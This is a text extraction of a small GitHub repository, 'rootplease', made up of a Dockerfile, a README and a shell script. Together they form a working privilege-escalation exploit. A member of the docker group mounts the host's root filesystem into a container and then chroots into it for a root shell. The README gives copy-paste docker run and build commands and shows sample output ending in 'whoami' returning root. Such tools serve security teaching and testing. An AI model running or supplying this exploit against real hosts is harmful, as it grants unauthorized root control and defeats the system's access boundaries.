master 7c0f0ea97451 cached
3 files
1.5 KB
558 tokens
1 requests
Download .txt
Repository: chrisfosterelli/dockerrootplease
Branch: master
Commit: 7c0f0ea97451
Files: 3
Total size: 1.5 KB

Directory structure:
gitextract_m8uks8r2/

├── Dockerfile
├── README.md
└── exploit.sh

================================================
FILE CONTENTS
================================================

================================================
FILE: Dockerfile
================================================
FROM ubuntu:20.04
COPY exploit.sh /exploit.sh
CMD ["/bin/bash", "exploit.sh"]


================================================
FILE: README.md
================================================
Root Please
===========

If you're a member of the 'docker' group on a machine, this command gives you a
root shell on the host OS. [See my blog post for
details](https://fosterelli.co/privilege-escalation-via-docker).

How to Use
----------

Through Docker Hub:

```bash
> docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
```
 
Or through Github:

```bash
> git clone https://github.com/chrisfosterelli/dockerrootplease rootplease
> cd rootplease/
> docker build -t rootplease .
> docker run -v /:/hostOS -it --rm rootplease
```

And the result:

```bash
johndoe@testmachine:~$ docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease

You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root
# 
```


================================================
FILE: exploit.sh
================================================
if [ ! -d "/hostOS" ]; then
  echo
  echo ==== ERROR ====
  echo It looks like /hostOS does not exist
  echo Please run this docker image with a /hostOS volume mounted to /
  echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
  echo
  exit
fi

if [ ! -f "/hostOS/bin/sh" ] && [ ! -L "/hostOS/bin/sh" ]; then
  echo
  echo ==== ERROR ====
  echo It looks like /hostOS does not contain a root filesystem
  echo Please run this docker image with a /hostOS volume mounted to /
  echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
  echo
  exit
fi

echo
echo You should now have a root shell on the host OS
echo Press Ctrl-D to exit the docker instance / shell
chroot /hostOS /bin/sh
Download .txt
gitextract_m8uks8r2/

├── Dockerfile
├── README.md
└── exploit.sh
Condensed preview — 3 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (2K chars).
[
  {
    "path": "Dockerfile",
    "chars": 78,
    "preview": "FROM ubuntu:20.04\nCOPY exploit.sh /exploit.sh\nCMD [\"/bin/bash\", \"exploit.sh\"]\n"
  },
  {
    "path": "README.md",
    "chars": 769,
    "preview": "Root Please\n===========\n\nIf you're a member of the 'docker' group on a machine, this command gives you a\nroot shell on t"
  },
  {
    "path": "exploit.sh",
    "chars": 733,
    "preview": "if [ ! -d \"/hostOS\" ]; then\n  echo\n  echo ==== ERROR ====\n  echo It looks like /hostOS does not exist\n  echo Please run "
  }
]

About this extraction

This page contains the full source code of the chrisfosterelli/dockerrootplease GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 3 files (1.5 KB), approximately 558 tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!